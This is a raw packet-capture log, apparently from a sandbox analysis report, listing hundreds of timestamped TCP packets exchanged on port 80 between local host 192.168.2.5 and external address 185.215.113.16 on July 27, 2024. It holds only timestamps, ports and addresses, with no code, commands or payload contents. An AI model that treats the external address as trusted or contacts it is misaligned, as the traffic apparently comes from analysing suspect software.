Jul 27, 2024 09:26:10.375643015 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375646114 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375658035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375663042 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375680923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375684977 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.377233982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377257109 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377270937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377302885 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.377331018 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.377412081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377425909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377440929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377454996 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.377480984 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.377502918 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387501001 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387516022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387530088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387561083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387584925 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387586117 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387598991 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387614012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387622118 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387629986 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387639046 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387649059 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387665987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387670040 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387682915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387696981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387717009 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387718916 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387734890 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387741089 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387748003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387763023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.387765884 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387783051 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.387806892 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389247894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389290094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389303923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389314890 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389322996 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389343023 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389343023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389358044 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389381886 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389394045 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389394999 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389409065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389445066 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389453888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389493942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389508009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389528990 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389538050 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389560938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389581919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389595985 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389596939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389611959 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.389615059 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389633894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.389651060 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391091108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391114950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391130924 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391135931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391149044 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391165972 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391174078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391187906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391207933 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391220093 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391222954 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391237020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391272068 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391726017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391763926 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391794920 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391809940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391829967 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391840935 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391849041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391884089 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391916037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391930103 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391944885 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.391972065 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.391999006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.392966032 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.392981052 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393002987 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393016100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393017054 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393030882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393043995 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393064976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393064976 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393076897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393079042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393094063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393100023 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393110037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393115044 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393121004 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393142939 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393176079 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393191099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393204927 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393225908 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393251896 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393400908 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393440962 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393474102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393508911 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393655062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393670082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393683910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393716097 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393733025 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393738985 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393748999 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393790960 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393824100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393837929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393851042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.393873930 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.393887043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.429265022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429312944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429327965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429330111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.429347992 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.429353952 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.429439068 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429452896 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429466963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429481030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.429500103 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.429529905 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430018902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430064917 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430078030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430098057 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430113077 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430164099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430186987 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430201054 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430201054 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430222034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430233002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430258989 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430273056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.430293083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.430301905 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463423014 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463438034 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463450909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463474989 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463505030 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463505983 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463520050 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463535070 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463542938 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463550091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463561058 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463571072 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463592052 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463623047 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463644028 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463658094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463660955 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463671923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463677883 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463685036 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463687897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463700056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463716030 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463733912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463742018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463756084 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463769913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463783979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463797092 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463799000 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463813066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463814974 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463835955 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463860035 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463871002 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463885069 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463900089 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463906050 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463913918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463923931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463927984 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463936090 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463946104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463954926 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463958025 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.463967085 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463985920 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.463998079 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.464271069 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.464283943 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.464297056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.464325905 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.464346886 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.464399099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.464438915 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.465136051 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465158939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465173006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465202093 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.465226889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.465317011 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465331078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465344906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465359926 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.465367079 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.465384960 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.465403080 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480561018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480607986 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480623960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480628014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480640888 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480664968 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480669022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480683088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480698109 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480712891 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480730057 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480757952 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480798960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480813026 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480833054 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480840921 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480846882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480861902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480864048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480875969 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480875969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480885983 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480890036 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480902910 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480904102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480911016 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480918884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.480927944 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.480947018 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.481865883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481879950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481893063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481906891 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481910944 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.481921911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481926918 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.481935978 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481950998 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481962919 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.481965065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481977940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481978893 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.481992960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.481998920 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482007027 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482021093 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482021093 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482034922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482043982 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482048988 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482062101 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482063055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482075930 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482086897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482090950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482105017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482111931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482119083 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482127905 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482134104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.482150078 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.482172966 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483280897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483294964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483308077 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483321905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483328104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483342886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483350039 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483355999 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483370066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483372927 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483382940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483396053 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483397007 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483412027 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483418941 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483426094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483439922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483444929 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483454943 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483462095 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483469009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483472109 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483484030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483495951 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483496904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483505964 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483522892 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483530045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483537912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483544111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483557940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483561039 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483570099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483577013 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483583927 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483593941 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483597994 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483609915 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483613014 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483623981 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483627081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483639002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.483640909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.483650923 CEST	49733	80	192.168.2.5	185.215.113.16
